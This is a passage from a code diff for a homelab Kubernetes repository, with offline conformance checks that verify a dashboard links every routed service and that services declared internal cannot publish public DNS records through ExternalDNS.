+        return yaml.safe_load(cm_data.get(key) or "") or []
+    except yaml.YAMLError:
+        return None
+
+
+svc_cfg = embedded("services.yaml")
+bm_cfg = embedded("bookmarks.yaml")
+check(svc_cfg is not None and bm_cfg is not None,
+      "(7) the dashboard's embedded services.yaml / bookmarks.yaml parse as YAML — the app "
+      "mounts these verbatim, so a malformed one is a dashboard that renders nothing")
+
+
+def hrefs(node):
+    """Every href anywhere in Homepage's nested group/entry structure."""
+    if isinstance(node, dict):
+        for k, v in node.items():
+            if k == "href" and isinstance(v, str):
+                yield v
+            else:
+                yield from hrefs(v)
+    elif isinstance(node, list):
+        for v in node:
+            yield from hrefs(v)
+
+
+def host_of(url):
+    m = re.match(r"^https?://([^/]+)", url or "")
+    return m.group(1) if m else None
+
+
+tile_urls = list(hrefs(svc_cfg or []))
+all_urls = tile_urls + list(hrefs(bm_cfg or []))
+all_hosts = [h for h in (host_of(u) for u in all_urls) if h]
+linked = {lbl for lbl in (zone_label(h) for h in all_hosts) if lbl}
+tile_labels = {lbl for lbl in (zone_label(h) for h in (host_of(u) for u in tile_urls) if h) if lbl}
+
+groups = [g for g in (svc_cfg or []) if isinstance(g, dict)]
+check(len(groups) >= 1 and len(tile_labels) >= 5,
+      f"(7) the root is a grouped service catalog with links "
+      f"({len(groups)} group(s), {len(tile_labels)} linked home-zone service(s))")
+
+# ============================================ (8) FORWARD: nothing routed is hidden
+unsurfaced = sorted(set(routed_labels) - linked)
+check(not unsurfaced,
+      "(8) every service the repo ROUTES over HTTP is surfaced on the C2 root. Unsurfaced: "
+      + ", ".join(f"{n}.{TOKEN} ({routed_labels[n].relative_to(ROOT)})" for n in unsurfaced)
+      if unsurfaced else
+      f"(8) every service the repo ROUTES over HTTP is surfaced on the C2 root "
+      f"({len(routed_labels)} hostname(s) compared)")
+
+# L4-only endpoints are reported, never required: a raw TCP/UDP port has no browsable URL.
+for lbl in sorted(set(l4_labels) - linked):
+    ADVISORIES.append(
+        f"{lbl}.{TOKEN} is published to DNS by an L4 Service "
+        f"({l4_labels[lbl].relative_to(ROOT)}) and is not linked from the root. Not a "
+        f"failure: a raw TCP/UDP endpoint has no URL a browser can follow. Verify the "
+        f"service it belongs to is reachable through a tile that IS linked")
+
+# ================================= (9) FORWARD: the VERSIONED onboarding contract
+cat_dir = ROOT / "catalog"
+cat_seen, cat_missing, cat_unrouted = 0, [], []
+for p in sorted(cat_dir.glob("*.yaml")):
+    sd = next((d for d in (DOCS.get(p) or [])), None)
+    if not isinstance(sd, dict) or sd.get("kind") != "container":
+        continue                      # kind: vm has no north-south HTTP surface (docs/09)
+    for r in sd.get("ingressRoutes") or []:
+        lbl = zone_label(str(r.get("host", "")))
+        if not lbl:
+            continue
+        if lbl not in routed_labels:
+            # Declared in the catalog but not rendered into a route: an apps/ render drift
+            # problem owned by R-GITOPS-02, reported here rather than silently skipped.
+            cat_unrouted.append(f"{sd.get('name')}:{lbl}")
+            continue
+        cat_seen += 1
+        if lbl not in linked:
+            cat_missing.append(f"{sd.get('name')}:{lbl}")
+check(cat_seen >= 5,
+      f"(9) the versioned catalog contributes routed HTTP services ({cat_seen} found) — the "
+      f"C2 is tied to the onboarding contract, not only to today's rendered output")
+check(not cat_missing,
+      f"(9) every catalog `kind: container` service with a route is linked from the C2 root "
+      f"{cat_missing if cat_missing else ''}")
+for u in cat_unrouted:
+    ADVISORIES.append(f"catalog declares an ingress host with no rendered HTTPRoute: {u} "
+                      f"(render drift — R-GITOPS-02 owns it, not R-C2-01)")
+
+# ============================ (10)(11) REVERSE: no link points at nothing
+ann = (cm.get("metadata", {}) or {}).get("annotations", {}) or {}
+OFF_ANN = "homelab.keithjackson.dev/off-cluster-links"
+declared_off_raw = [t for t in re.split(r"[,\s]+", str(ann.get(OFF_ANN, ""))) if t]
+declared_off = {zone_label(t) for t in declared_off_raw}
+served = set(routed_labels) | set(l4_labels)
+dead = sorted(linked - served - declared_off)
+check(not dead,
+      f"(10) every home-zone link the root offers resolves to something this repo serves — "
+      f"an HTTPRoute (L7) or a hostname-publishing LoadBalancer Service (L4). Dead: "
+      f"{[f'{d}.{TOKEN}' for d in dead] if dead else ''}")
+# The escape hatch is a DECLARATION, not a hole: same doctrine as an explicit `NONE` in
+# ci/touched-requirements.sh's path map. Empty today, and these two hold vacuously when it is
+# — they exist so it cannot be widened into a blanket without failing.
+check(all(zone_label(t) for t in declared_off_raw),
+      f"(11) every declared off-cluster link is a specific home-zone hostname in TOKEN form "
+      f"({declared_off_raw})")
+shadowed = sorted(declared_off & served)
+check(not shadowed,
+      f"(11) no off-cluster declaration shadows a hostname the repo DOES serve "
+      f"{shadowed if shadowed else ''}")
+
+# ============================ (12) tokens, never literals
+literal_hosts = sorted({h for h in all_hosts if is_literal_base(h)})
+check(not literal_hosts,
+      f"(12) no link on the root names a LITERAL '{LITERAL_BASE}' host — every hostname is the "
+      f"${{BASE_DOMAIN}} token, so prod's front door cannot link dev's services (the "
+      f"2026-09-04 class: two clusters authored to describe the same names). Literals: "
+      f"{literal_hosts if literal_hosts else ''}")
+
+# =====================================================================
+# R-C2-02 — platform health, and controlled operational actions
+# =====================================================================
+# docs/12 names the surfaces the C2 composes: Headlamp is "the R-C2-02 'controlled
+# operational actions where safe' surface"; Grafana is the dashboards/alerts surface. Each is
+# identified by the component that OWNS ITS ROUTE, not by a magic string in the config.
+CONSOLE, DASHBOARDS = "headlamp", "grafana"
+check(CONSOLE in linked,
+      f"(13) the C2 root links the Kubernetes console ({CONSOLE}.{TOKEN}) — cluster, storage "
+      f"and GitOps state, and the R-C2-02 operational-actions surface (docs/12)")
+check(DASHBOARDS in linked,
+      f"(13) the C2 root links the dashboards/alerts surface ({DASHBOARDS}.{TOKEN})")
+
+AGG = ("\n".join(read(ROOT / t / "kustomization.yaml")
+                 for t in ("platform", "platform-config", "platform-config-cdi")))
+for label, name in (("console", CONSOLE), ("dashboards", DASHBOARDS)):
+    comp = routed_labels.get(name)
+    check(comp is not None, f"(14) the {label} surface has an in-repo HTTPRoute")
+    if comp is None:
+        continue
+    rel = f"./{comp.relative_to(ROOT)}"
+    reconciled = any((d.get("spec", {}) or {}).get("path", "").rstrip("/") == rel
+                     for _, d in flux_ks)
+    if not reconciled:
+        # A component may reconcile as a MEMBER of an aggregate tier's kustomize tree
+        # (platform / platform-config) instead of owning a Flux Kustomization. Both count;
+        # being in NEITHER is "authored, never applied".
+        reconciled = (f"\n  - {comp.name}" in AGG
+                      or f"../{comp.relative_to(ROOT)}/" in AGG)
+    check(reconciled,
+          f"(14) the {label} surface ({comp.name}) is reconciled by Flux, not merely authored "
+          f"— a link to an unreconciled component is a link to nothing")
+
+# (15) the health DATA exists as code, for every axis R-C2-02 enumerates.
+rule_files = sorted({p for p, d in docs_all() if d.get("kind") == "PrometheusRule"})
+rule_groups = {g.get("name", "")
+               for p, d in docs_all() if d.get("kind") == "PrometheusRule"
+               for g in ((d.get("spec", {}) or {}).get("groups") or [])}
+for axis, needle in (("cluster/nodes", "nodes"),
+                     ("storage", "longhorn"),
+                     ("GitOps reconciliation", "flux"),
+                     ("certificate expiry", "certificates")):
+    check(any(needle in g for g in rule_groups),
+          f"(15) platform-health alert rules exist for {axis} (a '*{needle}*' rule group) — "
+          f"the C2 cannot surface health that is not measured")
+pc_txt = read(ROOT / "platform-config" / "kustomization.yaml")
+reconciled_rules = [p for p in rule_files if f"../{p.relative_to(ROOT)}" in pc_txt]
+check(len(reconciled_rules) >= 2,
+      f"(15) those alert rules are RECONCILED — PrometheusRule is a CR of a CRD the platform "
+      f"tier installs, so the rules are applied by platform-config "
+      f"({len(reconciled_rules)}/{len(rule_files)} rule file(s) referenced there)")
+
+# (16)(17) controlled actions: no shared cluster-admin identity; per-user OIDC instead.
+console_dir = routed_labels.get(CONSOLE)
+hr = next((d for p in (sorted(console_dir.glob("*.yaml")) if console_dir else [])
+           for d in (DOCS.get(p) or []) if d.get("kind") == "HelmRelease"), None)
+check(hr is not None, "(16) the Kubernetes console is deployed by a HelmRelease")
+hv = ((hr or {}).get("spec", {}) or {}).get("values", {}) or {}
+check((hv.get("clusterRoleBinding") or {}).get("create") is False,
+      "(16) the console chart is told NOT to bind its ServiceAccount to a ClusterRole. The "
+      "chart's DEFAULT binds it to cluster-admin, which is exactly the 'raw cluster-admin "
+      "kubeconfig in a browser' docs/12 forbids — every visitor would act as one shared "
+      "omnipotent identity")
+oidc = ((hv.get("config") or {}).get("oidc") or {})
+check(bool(oidc),
+      "(17) the console is configured for native OIDC login, so an action carries the "
+      "operator's OWN identity (docs/12: Headlamp/Grafana use native OIDC)")
+check(bool((oidc.get("externalSecret") or {}).get("name")),
+      "(17) its OIDC client credentials come from a NAMED (SOPS) Secret, not inline in the "
+      "HelmRelease values — R-SEC-01")
+
+# (18) rights arrive through GROUPS, at more than one privilege level.
+group_bindings = []
+for p, d in docs_all():
+    if d.get("kind") not in ("ClusterRoleBinding", "RoleBinding"):
+        continue
+    for s in d.get("subjects") or []:
+        if s.get("kind") == "Group" and str(s.get("name", "")).startswith("oidc:"):
+            group_bindings.append(((d.get("metadata", {}) or {}).get("name"),
+                                   s.get("name"),
+                                   (d.get("roleRef") or {}).get("name")))
+check(len(group_bindings) >= 2,
+      f"(18) cluster rights are bound to OIDC GROUPS, so access follows Keycloak group "
+      f"membership rather than a per-user grant somebody must remember to revoke "
+      f"({[(g, r) for _, g, r in group_bindings]})")
+check(any(r == "cluster-admin" for _, _, r in group_bindings)
+      and any(r != "cluster-admin" for _, _, r in group_bindings),
+      "(18) MORE THAN ONE privilege level exists (an admin group AND a lesser one) — "
+      "least-privilege, not one tier for everybody (docs/12 access control, R-IDP-06)")
+
+# (19) the root DECLARES the authenticated-group posture. DECLARED, NOT ENFORCED.
+route_ann = (apex_route.get("metadata", {}) or {}).get("annotations", {}) or {}
+check(route_ann.get("homelab.keithjackson.dev/auth-mode") in ("forward-auth", "oidc", "oauth2-proxy"),
+      f"(19) the C2 root's route DECLARES an authentication mode "
+      f"(found {route_ann.get('homelab.keithjackson.dev/auth-mode')!r}) "
+      f"[DECLARED, NOT ENFORCED — no Gateway ext-authz attachment exists in this repo]")
+check(bool(route_ann.get("homelab.keithjackson.dev/auth-groups")),
+      "(19) it DECLARES the authorized group(s) — docs/12 requires an authenticated user IN "
+      "AN AUTHORIZED GROUP, not merely logged in "
+      "[DECLARED, NOT ENFORCED — see the header's gap note]")
+
+# ======================================================================== report
+print()
+print(f"C2 surface inventory (apex {TOKEN}, literal base default '{LITERAL_BASE}'):")
+print(f"  routed over HTTP : {len(routed_labels)}  -> {', '.join(sorted(routed_labels))}")
+print(f"  L4-published     : {len(l4_labels)}  -> {', '.join(sorted(l4_labels)) or '(none)'}")
+print(f"  linked from root : {len(linked)}  -> {', '.join(sorted(linked))}")
+print(f"  apex-path routes : {len(apex_inheriting)}  -> "
+      f"{', '.join(str(p.relative_to(ROOT)) for p in apex_inheriting) or '(none)'}")
+print(f"  catalog services compared: {cat_seen}   off-cluster declarations: "
+      f"{sorted(declared_off_raw) or '(none)'}")
+
+if ADVISORIES:
+    print("\nADVISORIES (not failures):")
+    for a in ADVISORIES:
+        print(f"  - {a}")
+
+print()
+if not FAILURES:
+    print(f"check OK: c2-root-surface — {CHECKS} assertions (R-C2-01, R-C2-02)")
+    raise SystemExit(0)
+print(f"CHECK FAIL (c2-root-surface): {len(FAILURES)} failed, "
+      f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+for f in FAILURES:
+    print(f"  FAIL {f}", file=sys.stderr)
+raise SystemExit(1)
+PY

conformance/tests/l0-static/internal-services-publish-no-public-dns/chainsaw-test.yaml

@@ -0,0 +1,136 @@
+# =============================================================================
+# L0 STATIC — no service declared `internal` can produce a PUBLIC DNS record
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# THE DEFECT THIS CLOSES. docs/09 R-DNS-03 says `internal` services are unreachable from the
+# public internet, that external names resolve to the PUBLIC IP, and that Pi-hole provides the
+# internal split-horizon answers. schemas/renderer-contract.md §exposure says an `internal`
+# service renders "no public DNS record". NOTHING ENFORCED EITHER SENTENCE. ExternalDNS
+# (platform/externaldns/helmrelease.yaml, `sources: [gateway-httproute, service]`,
+# `policy: sync`, provider cloudflare) considered EVERY HTTPRoute on the shared Gateway, so six
+# `exposure: internal` services — jackett, pihole, qbittorrent, radarr, semaphore, sonarr — each
+# published `<name>.home.keithjackson.dev` into the PUBLIC authoritative Cloudflare zone,
+# answering with the Gateway VIP 192.168.2.20. Verified at the authority on 2026-09-14; the
+# pre-state is committed at .standup-dns/dns-20260914-pre-externaldns-scope.txt.
+#
+# Three things were wrong at once, and none of them was visible from inside the cluster:
+#   * the internal subnet, the Gateway VIP and a complete service inventory were publicly
+#     enumerable by anyone who could guess or brute-force a label;
+#   * a public name answering with an RFC1918 address IS a DNS-rebind primitive, which is why the
+#     SOHO router at 192.168.2.1 strips those answers and LAN clients need per-client dnsmasq
+#     overrides to reach their own services;
+#   * the guarantee was only ever prose. `exposure` was the operator's one declaration of intent
+#     and it had NO effect on DNS whatsoever, so "internal" meant nothing an attacker had to
+#     respect.
+#
+# WHY THE FIX NEEDS A GUARD AND NOT JUST A COMMIT. The mechanism is an annotation on a rendered
+# HTTPRoute. An annotation is exactly the kind of thing that survives review by looking harmless
+# and then disappears in a refactor of `_route_meta`, a hand-edit of apps/, or a new service added
+# by copying a public one. Nothing about its ABSENCE is loud: the service keeps working on the LAN,
+# the Kustomization stays Ready, and the only symptom is a public record nobody is looking at. The
+# 2026-09-13 ServiceMonitor incident in this same tree is the precedent — twelve monitors pointed
+# at a port that did not exist for weeks, silently, because the only thing asserting the wiring was
+# prose. This test makes the DNS guarantee a gate condition instead.
+#
+# GIVEN every ServiceDefinition in catalog/ and every HTTPRoute and external-dns-annotated
+#       Service this repo authors,
+# WHEN  each catalog service's rendered routes are resolved in the applied tree (apps/),
+# THEN  (1) every route of an `exposure: internal` service carries ExternalDNS's own controller
+#           annotation set to something OTHER than `dns-controller`, which external-dns v0.21.0
+#           uses to skip the source object outright (source/gateway.go ->
+#           annotations.IsControllerMismatch, checked before any hostname is resolved), so the
+#           route cannot become an endpoint for ANY name it declares;
+#       (2) NO route of an `exposure: public` service carries it — asserted explicitly, because a
+#           renderer that stamped every route would satisfy (1) perfectly while silently
+#           withdrawing the five public services' records, and `policy: sync` would delete them;
+#       (3) the same holds for the `service` source: an internal service's rendered Service may
+#           not carry an external-dns hostname annotation without the disown annotation beside it.
+#           Two sources are configured, so closing only the route half is half a guarantee;
+#       (4) the annotation is DERIVED FROM `exposure` in catalog/render.py and from nothing else —
+#           the emitting function must read `exposure`, must not name any catalog service, and
+#           must not be able to emit external-dns's own `dns-controller` value (the one value that
+#           CLAIMS a route rather than releasing it, inverting the guarantee while looking
+#           plausible). A per-service list is how twelve ServiceMonitors acquired one identical
+#           wrong port name in a single edit;
+#       (5) THE RENDERER IS PROVEN END-TO-END on synthetic ServiceDefinitions, by invoking the
+#           SHIPPED catalog/render.py as a subprocess: an `internal` fixture must yield the
+#           annotation, a `public` fixture must not, and a fixture that OMITS `exposure` must also
+#           yield it (the contract's default posture is `internal`, and omitting the field is the
+#           likeliest way a new service arrives). Without this the check would still pass if the
+#           renderer stopped working and someone hand-maintained apps/;
+#       (6) every HTTPRoute or annotated Service in the tree that the catalog does NOT render is
+#           DECLARED in KNOWN_NON_CATALOG_PUBLISHERS with what it publishes and why it is out of
+#           scope. Those are hand-authored platform/apps manifests with no `exposure` field for a
+#           renderer to read, and they are the seven names that REMAIN publicly advertised with an
+#           RFC1918 answer after this change. The register is shrink-only: an entry that stops
+#           matching a real object FAILS as stale, so the set of unadjudicated publishers cannot
+#           quietly grow, and adding a new one is a review event;
+#   AND (7) the check is LOAD-BEARING: this Test DECLARES `conformance.home.k3s/scope: whole-repo`,
+#           so ci/l0.sh Stage 3b's `--include-scope whole-repo` unions it into EVERY gate run, and
+#           ci/gate.sh blocks the merge when the l0 stage fails. It deliberately adds NO stage to
+#           ci/l0.sh — tests/l0-static/whole-repo-invariants-wired fails the gate if anyone does.
+#
+# WHY SCOPE, NOT REQUIREMENTS: ci/touched-requirements.sh's path map keys apps/* to NOTHING, and
+# apps/ is exactly where the rendered routes live. A requirement-scoped selection would therefore
+# filter this check out of the change most likely to break it — a hand-edit of a rendered route.
+# Same reasoning as its whole-repo siblings.
+#
+# STATUS: EXECUTABLE. `check.sh` is an offline assertion script (PyYAML, as catalog/render.py and
+# the sibling l0-static checks use); conformance/run.sh --layer l0 and ci/l0.sh run it directly,
+# and this Chainsaw Test wraps the SAME script.
+#
+# NOT proven (honest gaps; this is static, and it runs with no cluster and no network):
+#   - That the record is actually GONE from Cloudflare. That is a live read against an external
+#     authority and belongs in L2 beside conformance/tests/l2-behavioral/dns-exposure, which owns
+#     the positive direction (a public name DOES appear). The negative direction was proven
+#     MANUALLY on prod against the deployed v0.21.0 before this landed — a throwaway HTTPRoute
+#     carrying the annotation produced no record at all, and adding the annotation to a route that
+#     already had one produced `action=DELETE` for both its A record and its `a-` TXT registry
+#     entry within one ~60s reconcile — but a manual proof is not a gate.
+#   - That an `internal` name is unreachable from the internet. No DNS record is necessary for
+#     reachability; a port-forward plus a hardcoded IP still reaches the Gateway. This check owns
+#     the NAME axis only. R-NET-04 / the edge port-forward posture owns the other.
+#   - Anything about the seven non-catalog publishers' own correctness. The register records WHAT
+#     each publishes so the claim is reviewable, which is all a static check can offer.
+#   - Anything about the five `public` services' TARGET. They still resolve to the Gateway VIP
+#     rather than a routable address; that is an open operator decision recorded in
+#     platform/externaldns/helmrelease.yaml, and asserting a target here would hard-code a guess.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: internal-services-publish-no-public-dns
+  labels:
+    conformance.home.k3s/R-DNS-02: "true"
+    conformance.home.k3s/R-DNS-03: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-DNS-02, R-DNS-03"
+    conformance.home.k3s/layer: "L0"
+    # WHOLE-REPO SCOPE — this invariant quantifies over every ServiceDefinition in catalog/, every
+    # HTTPRoute in apps/wave-* and platform/* and runbooks/, and every external-dns-annotated
+    # Service (apps/vms/unifi, platform/crafty). No single requirement path-maps to that set, and
+    # ci/touched-requirements.sh maps apps/* — where the rendered routes live — to no requirement
+    # at all, so a requirement-scoped selection would skip this check on precisely the changes
+    # that can break it.
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "true"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      A service the operator declared `internal` cannot produce a public DNS record: the
+      guarantee is derived from `exposure` by catalog/render.py, present on every rendered route
+      in the applied tree, absent from every public one, proven end-to-end on synthetic fixtures,
+      and the hand-authored manifests the catalog does not render are enumerated in a shrink-only
+      register so the unadjudicated set cannot grow silently.
+spec:
+  steps:
+    - name: assert-no-internal-service-can-publish-a-public-dns-record
+      description: >-
+        Resolve every catalog service's rendered HTTPRoutes in apps/, assert the ExternalDNS
+        disown annotation on every internal one and on no public one, extend the same rule to the
+        `service` source, assert catalog/render.py derives the annotation from `exposure` rather
+        than from a service list, prove the shipped renderer on internal/public/default-posture
+        fixtures, and ratchet the register of hand-authored publishers the catalog does not render.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/internal-services-publish-no-public-dns/check.sh

@@ -0,0 +1,458 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 STATIC CHECK — no service declared `internal` can produce a PUBLIC DNS record.
+# See chainsaw-test.yaml's header for the full WHY. In one paragraph:
+#
+# docs/09 R-DNS-03 and schemas/renderer-contract.md §exposure both say an `internal` service
+# renders no public DNS record. Nothing enforced it: ExternalDNS watched every HTTPRoute on the
+# shared Gateway, so six internal services published `<name>.home.keithjackson.dev` into the
+# public Cloudflare zone answering with the RFC1918 Gateway VIP (verified at the authority
+# 2026-09-14; pre-state committed at .standup-dns/dns-20260914-pre-externaldns-scope.txt). The fix
+# derives ExternalDNS's controller annotation from `exposure` in catalog/render.py; this check is
+# what keeps it derived, present, and scoped.
+#
+# ASSERTIONS
+#   (0) the inventory is non-empty and the parse contract holds (anti-vacuous-pass);
+#   (1) every rendered route of an `internal` service carries the disown annotation;
+#   (2) NO rendered route of a `public` service carries it — a renderer stamping everything would
+#       satisfy (1) and silently delete the five public records under policy: sync;
+#   (3) the `service` source half: an internal service's Service may not carry an external-dns
+#       hostname annotation without the disown annotation beside it;
+#   (4) catalog/render.py DERIVES the annotation from `exposure` — the emitting function reads that
+#       field, names no catalog service, and cannot emit external-dns's own `dns-controller`;
+#   (5) the SHIPPED renderer is proven end-to-end on synthetic ServiceDefinitions (internal,
+#       public, and `exposure` OMITTED — the contract's default posture is internal);
+#   (6) every HTTPRoute / annotated Service the catalog does NOT render is declared in
+#       KNOWN_NON_CATALOG_PUBLISHERS — shrink-only, stale entries FAIL;
+#   (7) the check is LOAD-BEARING: whole-repo scope declared in chainsaw-test.yaml, honoured by
+#       ci/l0.sh's --include-scope union, and ci/gate.sh blocks on an l0 failure. NO hand-written
+#       ci/l0.sh stage (whole-repo-invariants-wired fails the gate if one appears).
+#
+# WHAT THIS DOES *NOT* PROVE (honest gaps — it is STATIC, offline, cluster-free):
+#   - That the record is gone from Cloudflare. Live read; belongs beside
+#     conformance/tests/l2-behavioral/dns-exposure, which owns the positive direction. The negative
+#     direction was proven manually on prod against the deployed v0.21.0 (a route carrying the
+#     annotation produced no record; adding it to a route that had one produced action=DELETE for
+#     both the A and its `a-` TXT within ~60s) — but a manual proof is not a gate.
+#   - That an internal name is UNREACHABLE. A port-forward plus a literal IP needs no DNS record.
+#     This check owns the NAME axis only.
+#   - Anything about the five public services' TARGET. They still answer with the Gateway VIP; the
+#     routable-target decision is open and recorded in platform/externaldns/helmrelease.yaml.
+#   - It does not read ../home-network-k3s. The spec is read-only (R-TEST-06).
+#
+# Exit 0 = all assertions pass. Exit 1 = a failure. Exit 3 (honest SKIP, which the runner turns
+# into rc 3 = UNWIRED, never green, because this test declares the whole-repo scope) only if
+# catalog/ or apps/ is absent — i.e. the subject tree has vanished, which is not a pass.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+PYTHON="${PYTHON:-python3}"
+
+# Honest SKIP (never green for a scope-declaring test) if the subject trees are not there at all.
+if [ ! -d "${ROOT}/catalog" ] || [ ! -d "${ROOT}/apps" ] || [ ! -f "${ROOT}/catalog/render.py" ]; then
+  echo "check SKIPPED: catalog/, apps/ or catalog/render.py absent — nothing to audit" >&2
+  exit 3
+fi
+
+cd "${ROOT}"
+"${PYTHON}" - "${ROOT}" <<'PY'
+"""Static audit: an `internal` ServiceDefinition cannot produce a public DNS record.
+
+PyYAML (the same dependency as catalog/render.py and the sibling l0-static checks) rather than
+line-based parsing: an HTTPRoute's annotations and a ServiceDefinition's exposure are nested
+structures, and a line-based reader of them is precisely the approximate parser that silently
+stops matching — the failure class this check exists to prevent.
+"""
+from __future__ import annotations
+
+import re
+import subprocess
+import sys
+import tempfile
+from pathlib import Path
+
+try:
+    import yaml
+except ImportError:                                  # pragma: no cover
+    print("check FAIL: PyYAML is required (same dependency as catalog/render.py)",
+          file=sys.stderr)
+    raise SystemExit(1)
+
+ROOT = Path(sys.argv[1])
+sys.dont_write_bytecode = True          # keep __pycache__ out of the tracked tree
+
+FAILURES: list[str] = []
+CHECKS = 0
+
+# external-dns's own constants (v0.21.0 source/annotations/annotations.go):
+#   ControllerKey   = annotationPrefix + "controller"   -> the key below
+#   ControllerValue = "dns-controller"                  -> the value that CLAIMS an object
+# source/annotations/processors.go IsControllerMismatch skips a source object when the key is
+# PRESENT and the value is NOT ControllerValue. So "disowned" == key present, value != claimed.
+CONTROLLER_KEY = "external-dns.alpha.kubernetes.io/controller"
+CONTROLLER_CLAIMED = "dns-controller"
+HOSTNAME_KEY = "external-dns.alpha.kubernetes.io/hostname"
+
+
+def check(cond, msg):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(msg)
+
+
+def read(p: Path) -> str:
+    try:
+        return p.read_text()
+    except (OSError, UnicodeDecodeError):
+        return ""
+
+
+def docs_of(p: Path):
+    """Every YAML document in a file, tolerating the non-manifest files in the tree."""
+    try:
+        return [d for d in yaml.safe_load_all(read(p)) if isinstance(d, dict)]
+    except yaml.YAMLError:
+        return []
+
+
+# =============================================================================================
+# REGISTER — KNOWN_NON_CATALOG_PUBLISHERS. Shrink-only.
+#
+# These are HAND-AUTHORED HTTPRoutes and Services that put a name into the same public Cloudflare
+# zone but that catalog/render.py does not render, so there is no `exposure` field for the renderer
+# to derive anything from and this check cannot adjudicate them. That is a real limit, not a pass —
+# so each one is DECLARED, with the name it publishes and why it is out of this check's scope, and
+# the register can only shrink. An entry naming an object that no longer exists FAILS as stale, so
+# a deleted publisher cannot leave a lie behind; a NEW publisher fails until it is declared, so the
+# unadjudicated set cannot grow without a review event. Same ratchet reasoning as
+# KNOWN_EXTERNAL_MONITORS in servicemonitor-ports-resolve.
+#
+# EVERY ENTRY HERE IS A NAME THAT STILL ANSWERS WITH AN RFC1918 ADDRESS IN A PUBLIC ZONE. That is
+# the honest state after this change, and it is deliberate: converting them is an operator
+# decision per name (is grafana meant to be publicly resolvable at all?), not a renderer change,
+# and a cluster-wide ExternalDNS opt-in filter — the available hardening, see
+# platform/externaldns/helmrelease.yaml — would DELETE all of them at once the moment it is set.
+#
+# Keyed by "<relpath>:<namespace>/<name>".
+# =============================================================================================
+KNOWN_NON_CATALOG_PUBLISHERS: dict[str, str] = {
+    "platform/oauth2-proxy/httproute.yaml:oauth2-proxy/oauth2-proxy":
+        "publishes auth.${BASE_DOMAIN} -> the Gateway VIP. The oauth2-proxy login endpoint is a "
+        "platform component, not a catalog service; it must be reachable by every browser that "
+        "any forward-auth app redirects, so whether it is PUBLICLY resolvable is coupled to "
+        "whether the five public services are — an operator decision, not a renderer one.",
+    "platform/keycloak/httproute.yaml:keycloak/keycloak":
+        "publishes keycloak.${BASE_DOMAIN} -> the Gateway VIP, and it is the route that actually "
+        "OWNS that record (the TXT registry entry reads resource=httproute/keycloak/keycloak, not "
+        "the catalog-rendered keycloak-8080 route, because external-dns merges duplicate "
+        "hostnames and this one won). Keycloak is `exposure: public` in the catalog, so the name "
+        "is meant to be public either way; it is listed because the PUBLISHING object is the "
+        "hand-authored platform route, which carries no exposure field.",
+    "platform/monitoring/grafana-httproute.yaml:monitoring/grafana":
+        "publishes grafana.${BASE_DOMAIN} -> the Gateway VIP. An admin dashboard; almost "
+        "certainly should not be publicly resolvable, but it is not a catalog service and "
+        "withdrawing it is an operator call with the same LAN-resolution prerequisite as the six "
+        "internal services (Pi-hole must answer first).",
+    "platform/headlamp/httproute.yaml:headlamp/headlamp":
+        "publishes headlamp.${BASE_DOMAIN} -> the Gateway VIP. A Kubernetes web UI with native "
+        "Keycloak OIDC; same adjudication as grafana.",
+    "platform/homepage/httproute.yaml:homepage/homepage":
+        "publishes the APEX ${BASE_DOMAIN} itself -> the Gateway VIP, via the https-apex "
+        "listener. The apex is not a per-service name and cannot be withdrawn by an exposure "
+        "declaration.",
+    "runbooks/serving/httproute.yaml:runbooks/runbooks":
+        "declares NO hostnames and inherits the https-apex listener's ${BASE_DOMAIN}, so it "
+        "contributes to the apex record rather than a name of its own (the apex TXT registry "
+        "entry names the homepage route). Deliberately un-authenticated — see the manifest's own "
+        "header for why gating runbooks on Keycloak is a loop with no exit.",
+    "platform/crafty/httproute.yaml:crafty/crafty":
+        "publishes crafty.${BASE_DOMAIN} -> the Gateway VIP (the Minecraft admin UI, gated by an "
+        "oauth2-proxy sidecar). Platform component, no exposure field.",
+    "platform/crafty/service-l4.yaml:crafty/crafty-l4-tcp":
+        "the `service` SOURCE, not a route: publishes crafty-mc.${BASE_DOMAIN} -> "
+        "${CRAFTY_L4_VIP} (192.168.2.22) for the raw Minecraft TCP/UDP game ports the HTTPS "
+        "Gateway cannot express. A game server is the one case where a public name may be "
+        "genuinely wanted; the address it answers with is still RFC1918.",
+    "apps/vms/unifi/50-service-l4.yaml:unifi/unifi-l4-tcp":
+        "the `service` source: publishes unifi.${BASE_DOMAIN} -> ${UNIFI_L4_VIP} "
+        "(192.168.2.21) for the UniFi controller VM's inform/STUN/adoption ports. Hand-authored "
+        "under apps/vms (a VM, not a rendered container service); the catalog's only VM entry is "
+        "vm-demo, which declares no ingressRoutes and publishes nothing.",
+}
+
+# =============================================================================================
+# (0) INVENTORY — the catalog, and every HTTPRoute / annotated Service in the tree.
+# =============================================================================================
+CATALOG = ROOT / "catalog"
+sds: dict[str, dict] = {}
+for p in sorted(CATALOG.glob("*.yaml")):
+    for d in docs_of(p):
+        if "name" in d and "source" in d:
+            sds[d["name"]] = d
+
+check(len(sds) > 0, "inventory: catalog/ yielded no ServiceDefinition — parse contract broken")
+
+# The default posture is `internal` (renderer-contract "Default posture"), so an ABSENT field is
+# internal, never "unclassified". Getting this wrong in the check would be the same bug as in the
+# renderer: a new service that omits exposure would go unaudited.
+exposure_of = {n: (sd.get("exposure") or "internal") for n, sd in sds.items()}
+# (namespace, routename) -> service, for the routes the renderer emits: one per ingressRoute,
+# named "<service>-<port>" in namespace "<service>" (catalog/render.py _route_meta).
+expected_routes: dict[tuple[str, str], str] = {}
+for n, sd in sds.items():
+    for r in sd.get("ingressRoutes") or []:
+        expected_routes[(n, f"{n}-{r['port']}")] = n
+
+internal_with_routes = sorted({s for (_, _), s in expected_routes.items()
